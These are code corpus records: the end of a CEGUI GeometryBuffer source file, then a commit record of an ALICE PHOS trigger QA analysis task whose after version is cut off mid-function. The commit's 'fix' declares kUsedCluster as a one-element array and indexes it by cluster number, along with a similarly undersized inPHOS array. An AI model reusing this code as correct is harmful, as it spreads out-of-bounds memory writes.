***************************************************************************\/\n#include \"CEGUI\/GeometryBuffer.h\"\n#include \"CEGUI\/Vertex.h\"\n#include \"CEGUI\/ShaderParameterBindings.h\"\n\n#include <vector>\n\nnamespace CEGUI\n{\n\/\/---------------------------------------------------------------------------\/\/\nGeometryBuffer::GeometryBuffer(RefCounted<RenderMaterial> renderMaterial)\n : d_translation(0, 0, 0)\n , d_rotation(Quaternion::IDENTITY)\n , d_scale(1.0f, 1.0f, 1.0f)\n , d_pivot(0, 0, 0)\n , d_customTransform(1.0f)\n , d_effect(0)\n , d_matrixValid(false)\n , d_blendMode(BM_NORMAL)\n , d_renderMaterial(renderMaterial)\n , d_polygonFillRule(PFR_NONE)\n , d_postStencilVertexCount(0)\n{\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nGeometryBuffer::~GeometryBuffer()\n{\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setBlendMode(const BlendMode mode)\n{\n d_blendMode = mode;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nBlendMode GeometryBuffer::getBlendMode() const\n{\n return d_blendMode;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const std::vector<ColouredVertex>& coloured_vertices)\n{\n if(coloured_vertices.empty())\n return;\n\n appendGeometry(&coloured_vertices[0], coloured_vertices.size());\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const ColouredVertex* vertex_array,\n uint vertex_count)\n{\n \/\/ Add the vertex data in their default order into an array\n std::vector<float> vertexData;\n const ColouredVertex* vs = vertex_array;\n for (uint i = 0; i < vertex_count; ++i, ++vs)\n {\n \/\/ Add all the elements in the default order for textured and coloured\n \/\/ geometry into the vector\n vertexData.push_back(vs->d_position.x);\n vertexData.push_back(vs->d_position.y);\n vertexData.push_back(vs->d_position.z);\n vertexData.push_back(vs->d_colour.getRed());\n vertexData.push_back(vs->d_colour.getGreen());\n vertexData.push_back(vs->d_colour.getBlue());\n vertexData.push_back(vs->d_colour.getAlpha());\n }\n\n \/\/ Append the prepared geometry data\n appendGeometry(vertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const std::vector<TexturedColouredVertex>& textured_vertices)\n{\n if(textured_vertices.empty())\n return;\n\n appendGeometry(&textured_vertices[0], textured_vertices.size());\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const TexturedColouredVertex* vertex_array,\n uint vertex_count)\n{\n \/\/ Add the vertex data in their default order into an array\n std::vector<float> vertexData;\n const TexturedColouredVertex* vs = vertex_array;\n for (uint i = 0; i < vertex_count; ++i, ++vs)\n {\n \/\/ Add all the elements in the default order for textured and coloured\n \/\/ geometry into the vector\n vertexData.push_back(vs->d_position.x);\n vertexData.push_back(vs->d_position.y);\n vertexData.push_back(vs->d_position.z);\n vertexData.push_back(vs->d_colour.getRed());\n vertexData.push_back(vs->d_colour.getGreen());\n vertexData.push_back(vs->d_colour.getBlue());\n vertexData.push_back(vs->d_colour.getAlpha());\n vertexData.push_back(vs->d_texCoords.x);\n vertexData.push_back(vs->d_texCoords.y);\n }\n\n \/\/ Append the prepared geometry data\n appendGeometry(vertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendGeometry(const float* const vertex_data,\n uint array_size)\n{\n std::vector<float> vectorVertexData(vertex_data, vertex_data + array_size);\n appendGeometry(vectorVertexData);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendVertex(const TexturedColouredVertex& vertex)\n{\n \/\/ Add the vertex data in their default order into an array\n float vertexData[9];\n\n \/\/ Copy the vertex attributes into the array\n vertexData[0] = vertex.d_position.x;\n vertexData[1] = vertex.d_position.y;\n vertexData[2] = vertex.d_position.z;\n vertexData[3] = vertex.d_colour.getRed();\n vertexData[4] = vertex.d_colour.getGreen();\n vertexData[5] = vertex.d_colour.getBlue();\n vertexData[6] = vertex.d_colour.getAlpha();\n vertexData[7] = vertex.d_texCoords.x;\n vertexData[8] = vertex.d_texCoords.y;\n\n appendGeometry(vertexData, 9);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::appendVertex(const ColouredVertex& vertex)\n{\n \/\/ Add the vertex data in their default order into an array\n float vertexData[7];\n\n \/\/ Copy the vertex attributes into the array\n vertexData[0] = vertex.d_position.x;\n vertexData[1] = vertex.d_position.y;\n vertexData[2] = vertex.d_position.z;\n vertexData[3] = vertex.d_colour.getRed();\n vertexData[4] = vertex.d_colour.getGreen();\n vertexData[5] = vertex.d_colour.getBlue();\n vertexData[6] = vertex.d_colour.getAlpha();\n\n appendGeometry(vertexData, 7);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nint GeometryBuffer::getVertexAttributeElementCount() const\n{\n int count = 0;\n\n const unsigned int attribute_count = d_vertexAttributes.size();\n for (unsigned int i = 0; i < attribute_count; ++i)\n {\n switch(d_vertexAttributes.at(i))\n {\n case VAT_POSITION0:\n count += 3;\n break;\n case VAT_COLOUR0:\n count += 4;\n break;\n case VAT_TEXCOORD0:\n count += 2;\n break;\n default:\n break;\n }\n }\n\n return count;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::resetVertexAttributes()\n{\n d_vertexAttributes.clear();\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::addVertexAttribute(VertexAttributeType attribute)\n{\n d_vertexAttributes.push_back(attribute);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nRefCounted<RenderMaterial> GeometryBuffer::getRenderMaterial() const\n{\n return d_renderMaterial;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRenderMaterial(RefCounted<RenderMaterial> render_material)\n{\n d_renderMaterial = render_material;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setStencilRenderingActive(PolygonFillRule fill_rule)\n{\n d_polygonFillRule = fill_rule;\n}\n\n\/\/---------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setStencilPostRenderingVertexCount(unsigned int vertex_count)\n{\n d_postStencilVertexCount = vertex_count;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRenderEffect(RenderEffect* effect)\n{\n d_effect = effect;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nRenderEffect* GeometryBuffer::getRenderEffect()\n{\n return d_effect;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setTranslation(const Vector3f& translation)\n{\n if(d_translation != translation)\n {\n d_translation = translation;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setRotation(const Quaternion& rotationQuat)\n{\n if(d_rotation != rotationQuat)\n {\n d_rotation = rotationQuat;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setScale(const Vector3f& scale)\n{\n if(d_scale != scale)\n {\n d_scale = scale;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setScale(const Vector2f& scale)\n{\n setScale(Vector3f(scale, 0.f));\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setPivot(const Vector3f& p)\n{\n if(d_pivot != p)\n {\n d_pivot = Vector3f(p.d_x, p.d_y, p.d_z);\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setCustomTransform(const glm::mat4x4& transformation)\n{\n if(d_customTransform != transformation)\n {\n d_customTransform = transformation;\n d_matrixValid = false;\n }\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setClippingActive(const bool active)\n{\n d_clippingActive = active;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nbool GeometryBuffer::isClippingActive() const\n{\n return d_clippingActive;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\nuint GeometryBuffer::getVertexCount() const\n{\n return d_vertexCount;\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::reset()\n{\n d_vertexData.clear();\n d_clippingActive = true;\n\n \/\/ If the used render material uses a texture we will reset it in our shader parameter bindings\n if((*d_renderMaterial).getShaderParamBindings()->getParameter(\"texture0\") != 0)\n setTexture(0);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\nvoid GeometryBuffer::setTexture(Texture* texture)\n{\n CEGUI::ShaderParameterBindings* shaderParameterBindings = (*d_renderMaterial).getShaderParamBindings();\n shaderParameterBindings->setParameter(\"texture0\", texture);\n}\n\n\/\/---------------------------------------------------------------------------\/\/\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisTaskSE.h\"\n#include \"AliAnalysisTaskPHOSTriggerQA.h\"\n#include \"AliESDCaloCluster.h\"\n#include \"AliPHOSGeometry.h\"\n#include \"AliESDEvent.h\"\n#include \"AliESDCaloCells.h\"\n#include \"AliLog.h\"\n#include \"TObjArray.h\"\n#include \"TList.h\"\n#include \"TH1.h\"\n#include \"TH2.h\"\n\n\/\/ QA of PHOS Trigger data.\n\/\/...\n\/\/ Author: Boris Polishchuk \n\/\/ Date : 06.02.2012\n\nClassImp(AliAnalysisTaskPHOSTriggerQA)\n\n\/\/________________________________________________________________________\nAliAnalysisTaskPHOSTriggerQA::AliAnalysisTaskPHOSTriggerQA() : AliAnalysisTaskSE(),\n fOutputContainer(0),fPHOSGeo(0),fEventCounter(0),fL1Threshold(-1)\n{\n \/\/Default constructor. \n \/\/ Initialize the PHOS geometry \n fPHOSGeo = AliPHOSGeometry::GetInstance(\"IHEP\") ;\n \n}\n\n\/\/________________________________________________________________________\nAliAnalysisTaskPHOSTriggerQA::AliAnalysisTaskPHOSTriggerQA(const char *name, Int_t L1_threshold) \n: AliAnalysisTaskSE(name),\n fOutputContainer(0),fPHOSGeo(0),fEventCounter(0),fL1Threshold(L1_threshold)\n{\n \n \/\/ Output slots #0 write into a TH1 container\n DefineOutput(1,TList::Class());\n\n \/\/ Initialize the PHOS geometry\n fPHOSGeo = AliPHOSGeometry::GetInstance(\"IHEP\") ;\n\n}\n\n\/\/________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::UserCreateOutputObjects()\n{\n \/\/ Create histograms\n \/\/ Called once\n \n \/\/ ESD histograms\n if(fOutputContainer != NULL){\n delete fOutputContainer;\n }\n\n fOutputContainer = new TList();\n fOutputContainer->SetOwner(kTRUE);\n\n \/\/Bin 1: total number of processed events.\n \/\/Bin 2: number of events contained PHOS trigger digits.\n fOutputContainer->Add(new TH1F(\"hNev\",\"Number of events\",10,0.,10.));\n \n char key[55],titl[55];\n Int_t nCols = 56, nRows = 64;\n \n Int_t nPtPhot = 1000 ;\n Double_t ptPhotMax = 100. ;\n\n Int_t nTrMax = 1200;\n Float_t trMax = 600.;\n\n fOutputContainer->Add(new TH1F(\"hNtr\",\"Number of fired 4x4 regions per event\",nTrMax,0.,trMax));\n\n for(Int_t sm=1; sm<5; sm++) {\n\n snprintf(key,55,\"hNtrSM%d\",sm);\n snprintf(titl,55,\"Number of fired 4x4 regions in SM%d\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nTrMax\/3,0.,trMax\/3));\n \n snprintf(key,55,\"h4x4SM%d\",sm);\n snprintf(titl,55,\"SM%d 4x4 occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n\n snprintf(key,55,\"h4x4CluSM%d\",sm);\n snprintf(titl,55,\"SM%d 4x4 occupancy associated with clusters (E>2GeV)\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n\n snprintf(key,55,\"hCluSM%d\",sm);\n snprintf(titl,55,\"SM%d cluster occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n \n snprintf(key,55,\"hCluTSM%d\",sm);\n snprintf(titl,55,\"SM%d triggered cluster occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n \n snprintf(key,55,\"hPhotAllSM%d\",sm);\n snprintf(titl,55,\"SM%d cluster energy\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n\n for(Int_t iTRU=1; iTRU<=8; iTRU++) {\n snprintf(key,55,\"hPhotAllSM%dTRU%d\",sm,iTRU);\n snprintf(titl,55,\"SM%d: clusters energy in TRU%d\",5-sm,iTRU);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n }\n \n snprintf(key,55,\"hPhotTrigSM%d\",sm);\n snprintf(titl,55,\"SM%d triggered cluster energy\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n \n for(Int_t iTRU=1; iTRU<=8; iTRU++) {\n snprintf(key,55,\"hPhotTrigSM%dTRU%d\",sm,iTRU);\n snprintf(titl,55,\"SM%d: triggered clusters energy in TRU%d\",5-sm,iTRU);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n }\n \n }\n \n PostData(1, fOutputContainer);\n \n}\n\n\/\/________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::UserExec(Option_t *) \n{\n \/\/ Main loop, called for each event\n \/\/ Analyze ESD\/AOD \n \n AliESDEvent *event = dynamic_cast<AliESDEvent*>(InputEvent());\n \n if (!event) {\n Printf(\"ERROR: Could not retrieve event\");\n PostData(1, fOutputContainer);\n return;\n }\n \n FillHistogram(\"hNev\",0.); \/\/ all events\n fEventCounter++;\n \n AliESDCaloTrigger* trgESD = event->GetCaloTrigger(\"PHOS\");\n trgESD->Reset();\n \n if(trgESD->GetEntries())\n FillHistogram(\"hNev\",1.); \/\/ triggered events\n \n TString trigClasses = event->GetFiredTriggerClasses();\n printf(\"\\nEvent %d: %d non-zero trigger digits %s\\n\",\n\t fEventCounter,trgESD->GetEntries(),trigClasses.Data());\n\n \/\/ Get PHOS rotation matrices from ESD and set them to the PHOS geometry\n char key[55] ; \n \n if(fEventCounter == 0) {\n for(Int_t mod=0; mod<5; mod++) {\n if(!event->GetPHOSMatrix(mod)) continue;\n fPHOSGeo->SetMisalMatrix(event->GetPHOSMatrix(mod),mod) ;\n }\n }\n \n Int_t multClu = event->GetNumberOfCaloClusters();\n AliESDCaloCells *phsCells = event->GetPHOSCells();\n \n Int_t inPHOS[3] = {};\n Int_t ntr = 0;\n\n \/\/Loop over 4x4 fired regions\n while(trgESD->Next()) {\n\n \/\/ L1 threshold: -1-L0, 0-high, 1-medium, 2-low\n if(trgESD->GetL1TimeSum() != fL1Threshold) continue;\n ntr++;\n \n Int_t tmod,tabsId; \/\/ \"Online\" module number, bottom-left 4x4 edge cell absId\n trgESD->GetPosition(tmod,tabsId);\n \n Int_t trelid[4] ;\n fPHOSGeo->AbsToRelNumbering(tabsId,trelid);\n\n snprintf(key,55,\"h4x4SM%d\",trelid[0]);\n FillHistogram(key,trelid[2]-1,trelid[3]-1);\n \n inPHOS[trelid[0]-1]++;\n\n for (Int_t i=0; i<multClu; i++) {\n \n AliESDCaloCluster *c1 = event->GetCaloCluster(i);\n if(!c1->IsPHOS()) continue;\n if(c1->GetType() == AliESDCaloCluster::kPHOSCharged) continue; \/\/ reject CPV cluster\n \n if(c1->E()<0.3) continue; \n if(c1->GetNCells()<3) continue ; \n \n Int_t maxId, relid[4];\n MaxEnergyCellPos(phsCells,c1,maxId);\n \n fPHOSGeo->AbsToRelNumbering(maxId, relid);\n snprintf(key,55,\"hPhotAllSM%d\",relid[0]);\n FillHistogram(key,c1->E());\n\n snprintf(key,55,\"hPhotAllSM%dTRU%d\",relid[0],GetTRUNum(relid[2]-1,relid[3]-1));\n FillHistogram(key,c1->E());\n \n snprintf(key,55,\"hCluSM%d\",relid[0]);\n FillHistogram(key,relid[2]-1,relid[3]-1);\n \n if( Matched(trelid,relid) ) {\n\t\n\tsnprintf(key,55,\"hPhotTrigSM%d\",relid[0]);\n\tFillHistogram(key,c1->E());\n\t\n\tsnprintf(key,55,\"hPhotTrigSM%dTRU%d\",relid[0],GetTRUNum(relid[2]-1,relid[3]-1));\n\tFillHistogram(key,c1->E());\n\n\tsnprintf(key,55,\"hCluTSM%d\",relid[0]);\n\tFillHistogram(key,relid[2]-1,relid[3]-1);\n\t\n\tif(c1->E()>2.) { \/\/ Eclu > 2 GeV\n\t snprintf(key,55,\"h4x4CluSM%d\",trelid[0]);\n\t FillHistogram(key,trelid[2]-1,trelid[3]-1);\n\t}\t\n\tcontinue;\n }\n \n }\n } \/\/while(trgESD->Next())\n \n FillHistogram(\"hNtr\",ntr); \/\/ number of selected triggers per event\n \n for(Int_t sm=1; sm<4; sm++) {\n snprintf(key,55,\"hNtrSM%d\",sm);\n if(inPHOS[sm-1]) FillHistogram(key,inPHOS[sm-1]); \n }\n \n \/\/ Post output data.\n PostData(1, fOutputContainer);\n \n}\n\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::FillHistogram(const char * key,Double_t x)const{\n \/\/FillHistogram\n TH1I * tmpI = dynamic_cast<TH1I*>(fOutputContainer->FindObject(key)) ;\n if(tmpI){\n tmpI->Fill(x) ;\n return ;\n }\n TH1F * tmpF = dynamic_cast<TH1F*>(fOutputContainer->FindObject(key)) ;\n if(tmpF){\n tmpF->Fill(x) ;\n return ;\n }\n TH1D * tmpD = dynamic_cast<TH1D*>(fOutputContainer->FindObject(key)) ;\n if(tmpD){\n tmpD->Fill(x) ;\n return ;\n }\n AliInfo(Form(\"can not find histogram <%s> \",key)) ;\n}\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::FillHistogram(const char * key,Double_t x,Double_t y)const{\n \/\/FillHistogram\n TObject * tmp = fOutputContainer->FindObject(key) ;\n if(!tmp){\n AliInfo(Form(\"can not find histogram <%s> \",key)) ;\n return ;\n }\n if(tmp->IsA() == TClass::GetClass(\"TH1F\")){\n ((TH1F*)tmp)->Fill(x,y) ;\n return ;\n }\n if(tmp->IsA() == TClass::GetClass(\"TH2F\")){\n ((TH2F*)tmp)->Fill(x,y) ;\n return ;\n }\n AliError(Form(\"Calling FillHistogram with 2 parameters for histo <%s> of type %s\",key,tmp->IsA()->GetName())) ;\n}\n\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::MaxEnergyCellPos(AliESDCaloCells *cells, AliESDCaloCluster* clu, Int_t& maxId)\n{ \n Double_t eMax = -111;\n \n for (Int_t iDig=0; iDig< clu->GetNCells(); iDig++) {\n Int_t cellAbsId = clu->GetCellAbsId(iDig);\n Double_t eCell = cells->GetCellAmplitude(cellAbsId)*clu->GetCellAmplitudeFraction(iDig);\n if(eCell>eMax) { \n eMax = eCell; \n maxId = cellAbsId;\n }\n }\n \n}\n\n\/\/_____________________________________________________________________________\nBool_t AliAnalysisTaskPHOSTriggerQA::Matched(Int_t *trig_relid, Int_t *cluster_relid)\n{\n \/\/Returns kTRUE if cluster position coincides with 4x4 position.\n\n if( trig_relid[0] != cluster_relid[0] ) return kFALSE; \/\/ different modules!\n if( TMath::Abs(trig_relid[2]-cluster_relid[2])>3 ) return kFALSE; \/\/ X-distance too large! \n if( TMath::Abs(trig_relid[3]-cluster_relid[3])>3 ) return kFALSE; \/\/ Z-distance too large!\n\n return kTRUE;\n}\n\n\/\/_______________________________________________________________________________\nInt_t AliAnalysisTaskPHOSTriggerQA::GetTRUNum(Int_t cellX, Int_t cellZ)\n{\n \/\/Return TRU region number for given cell.\n \/\/cellX: [0-63], cellZ: [0-55]\n \n Int_t iTRU=-111;\n\n \/\/RCU0: TRU 1,2\n if(0<=cellX&&cellX<16) { \n\n if(0<=cellZ&&cellZ<28) iTRU=2;\n else iTRU=1;\n }\n\n \/\/RCU1: TRU 3,4\n if(16<=cellX&&cellX<32) { \n \n if(0<=cellZ&&cellZ<28) iTRU=4;\n else iTRU=3;\n }\n\n \/\/RCU2: TRU 5,6\n if(32<=cellX&&cellX<48) { \n \n if(0<=cellZ&&cellZ<28) iTRU=6;\n else iTRU=5;\n }\n \n \/\/RCU3: TRU 7,8\n if(48<=cellX&&cellX<64) { \n \n if(0<=cellZ&&cellZ<28) iTRU=8;\n else iTRU=7;\n }\n \n return iTRU;\n}\n<commit_msg>Wrong multiple counting of \"triggered\" clusters fixed.<commit_after>\/**************************************************************************\n * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *\n * *\n * Author: The ALICE Off-line Project. *\n * Contributors are mentioned in the code where appropriate. *\n * *\n * Permission to use, copy, modify and distribute this software and its *\n * documentation strictly for non-commercial purposes is hereby granted *\n * without fee, provided that the above copyright notice appears in all *\n * copies and that both the copyright notice and this permission notice *\n * appear in the supporting documentation. The authors make no claims *\n * about the suitability of this software for any purpose. It is *\n * provided \"as is\" without express or implied warranty. *\n **************************************************************************\/\n\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisTaskSE.h\"\n#include \"AliAnalysisTaskPHOSTriggerQA.h\"\n#include \"AliESDCaloCluster.h\"\n#include \"AliPHOSGeometry.h\"\n#include \"AliESDEvent.h\"\n#include \"AliESDCaloCells.h\"\n#include \"AliLog.h\"\n#include \"TObjArray.h\"\n#include \"TList.h\"\n#include \"TH1.h\"\n#include \"TH2.h\"\n\n\/\/ QA of PHOS Trigger data.\n\/\/...\n\/\/ Author: Boris Polishchuk \n\/\/ Date : 06.02.2012\n\nClassImp(AliAnalysisTaskPHOSTriggerQA)\n\n\/\/________________________________________________________________________\nAliAnalysisTaskPHOSTriggerQA::AliAnalysisTaskPHOSTriggerQA() : AliAnalysisTaskSE(),\n fOutputContainer(0),fPHOSGeo(0),fEventCounter(0),fL1Threshold(-1)\n{\n \/\/Default constructor. \n \/\/ Initialize the PHOS geometry \n fPHOSGeo = AliPHOSGeometry::GetInstance(\"IHEP\") ;\n \n}\n\n\/\/________________________________________________________________________\nAliAnalysisTaskPHOSTriggerQA::AliAnalysisTaskPHOSTriggerQA(const char *name, Int_t L1_threshold) \n: AliAnalysisTaskSE(name),\n fOutputContainer(0),fPHOSGeo(0),fEventCounter(0),fL1Threshold(L1_threshold)\n{\n \n \/\/ Output slots #0 write into a TH1 container\n DefineOutput(1,TList::Class());\n\n \/\/ Initialize the PHOS geometry\n fPHOSGeo = AliPHOSGeometry::GetInstance(\"IHEP\") ;\n\n}\n\n\/\/________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::UserCreateOutputObjects()\n{\n \/\/ Create histograms\n \/\/ Called once\n \n \/\/ ESD histograms\n if(fOutputContainer != NULL){\n delete fOutputContainer;\n }\n\n fOutputContainer = new TList();\n fOutputContainer->SetOwner(kTRUE);\n\n \/\/Bin 1: total number of processed events.\n \/\/Bin 2: number of events contained PHOS trigger digits.\n fOutputContainer->Add(new TH1F(\"hNev\",\"Number of events\",10,0.,10.));\n \n char key[55],titl[55];\n Int_t nCols = 56, nRows = 64;\n \n Int_t nPtPhot = 1000 ;\n Double_t ptPhotMax = 100. ;\n\n Int_t nTrMax = 1200;\n Float_t trMax = 600.;\n\n fOutputContainer->Add(new TH1F(\"hNtr\",\"Number of fired 4x4 regions per event\",nTrMax,0.,trMax));\n\n for(Int_t sm=1; sm<5; sm++) {\n\n snprintf(key,55,\"hNtrSM%d\",sm);\n snprintf(titl,55,\"Number of fired 4x4 regions in SM%d\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nTrMax\/3,0.,trMax\/3));\n \n snprintf(key,55,\"h4x4SM%d\",sm);\n snprintf(titl,55,\"SM%d 4x4 occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n\n snprintf(key,55,\"h4x4CluSM%d\",sm);\n snprintf(titl,55,\"SM%d 4x4 occupancy associated with clusters (E>2GeV)\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n\n snprintf(key,55,\"hCluSM%d\",sm);\n snprintf(titl,55,\"SM%d cluster occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n \n snprintf(key,55,\"hCluTSM%d\",sm);\n snprintf(titl,55,\"SM%d triggered cluster occupancy\",5-sm);\n fOutputContainer->Add(new TH2F(key,titl,nRows,0.,nRows,nCols,0.,nCols));\n \n snprintf(key,55,\"hPhotAllSM%d\",sm);\n snprintf(titl,55,\"SM%d cluster energy\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n\n for(Int_t iTRU=1; iTRU<=8; iTRU++) {\n snprintf(key,55,\"hPhotAllSM%dTRU%d\",sm,iTRU);\n snprintf(titl,55,\"SM%d: clusters energy in TRU%d\",5-sm,iTRU);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n }\n \n snprintf(key,55,\"hPhotTrigSM%d\",sm);\n snprintf(titl,55,\"SM%d triggered cluster energy\",5-sm);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n \n for(Int_t iTRU=1; iTRU<=8; iTRU++) {\n snprintf(key,55,\"hPhotTrigSM%dTRU%d\",sm,iTRU);\n snprintf(titl,55,\"SM%d: triggered clusters energy in TRU%d\",5-sm,iTRU);\n fOutputContainer->Add(new TH1F(key,titl,nPtPhot,0.,ptPhotMax));\n }\n \n }\n \n PostData(1, fOutputContainer);\n \n}\n\n\/\/________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::UserExec(Option_t *) \n{\n \/\/ Main loop, called for each event\n \/\/ Analyze ESD\/AOD \n \n AliESDEvent *event = dynamic_cast<AliESDEvent*>(InputEvent());\n \n if (!event) {\n Printf(\"ERROR: Could not retrieve event\");\n PostData(1, fOutputContainer);\n return;\n }\n \n FillHistogram(\"hNev\",0.); \/\/ all events\n fEventCounter++;\n \n AliESDCaloTrigger* trgESD = event->GetCaloTrigger(\"PHOS\");\n trgESD->Reset();\n \n if(trgESD->GetEntries())\n FillHistogram(\"hNev\",1.); \/\/ triggered events\n \n TString trigClasses = event->GetFiredTriggerClasses();\n printf(\"\\nEvent %d: %d non-zero trigger digits %s\\n\",\n\t fEventCounter,trgESD->GetEntries(),trigClasses.Data());\n\n \/\/ Get PHOS rotation matrices from ESD and set them to the PHOS geometry\n char key[55] ; \n \n if(fEventCounter == 0) {\n for(Int_t mod=0; mod<5; mod++) {\n if(!event->GetPHOSMatrix(mod)) continue;\n fPHOSGeo->SetMisalMatrix(event->GetPHOSMatrix(mod),mod) ;\n }\n }\n \n Int_t multClu = event->GetNumberOfCaloClusters();\n AliESDCaloCells *phsCells = event->GetPHOSCells();\n \n Int_t inPHOS[3] = {};\n Int_t ntr = 0;\n\n Int_t kUsedCluster[] = {multClu*0};\n \n \/\/Loop over 4x4 fired regions\n while(trgESD->Next()) {\n\n \/\/ L1 threshold: -1-L0, 0-high, 1-medium, 2-low\n if(trgESD->GetL1TimeSum() != fL1Threshold) continue;\n ntr++;\n \n Int_t tmod,tabsId; \/\/ \"Online\" module number, bottom-left 4x4 edge cell absId\n trgESD->GetPosition(tmod,tabsId);\n \n Int_t trelid[4] ;\n fPHOSGeo->AbsToRelNumbering(tabsId,trelid);\n\n snprintf(key,55,\"h4x4SM%d\",trelid[0]);\n FillHistogram(key,trelid[2]-1,trelid[3]-1);\n \n inPHOS[trelid[0]-1]++;\n \n for (Int_t i=0; i<multClu; i++) {\n \n AliESDCaloCluster *c1 = event->GetCaloCluster(i);\n if(kUsedCluster[i]) continue; \/\/ already matched to some trigger patch\n \n if(!c1->IsPHOS()) continue;\n if(c1->GetType() == AliESDCaloCluster::kPHOSCharged) continue; \/\/ reject CPV cluster\n \n if(c1->E()<0.3) continue; \n if(c1->GetNCells()<3) continue ; \n \n Int_t maxId, relid[4];\n MaxEnergyCellPos(phsCells,c1,maxId);\n \n fPHOSGeo->AbsToRelNumbering(maxId, relid);\n snprintf(key,55,\"hPhotAllSM%d\",relid[0]);\n FillHistogram(key,c1->E());\n\n snprintf(key,55,\"hPhotAllSM%dTRU%d\",relid[0],GetTRUNum(relid[2]-1,relid[3]-1));\n FillHistogram(key,c1->E());\n \n snprintf(key,55,\"hCluSM%d\",relid[0]);\n FillHistogram(key,relid[2]-1,relid[3]-1);\n \n if( Matched(trelid,relid) ) {\n\t\n\tkUsedCluster[i] = 1;\n\t\n\tsnprintf(key,55,\"hPhotTrigSM%d\",relid[0]);\n\tFillHistogram(key,c1->E());\n\t\n\tsnprintf(key,55,\"hPhotTrigSM%dTRU%d\",relid[0],GetTRUNum(relid[2]-1,relid[3]-1));\n\tFillHistogram(key,c1->E());\n\n\tsnprintf(key,55,\"hCluTSM%d\",relid[0]);\n\tFillHistogram(key,relid[2]-1,relid[3]-1);\n\t\n\tif(c1->E()>2.) { \/\/ Eclu > 2 GeV\n\t 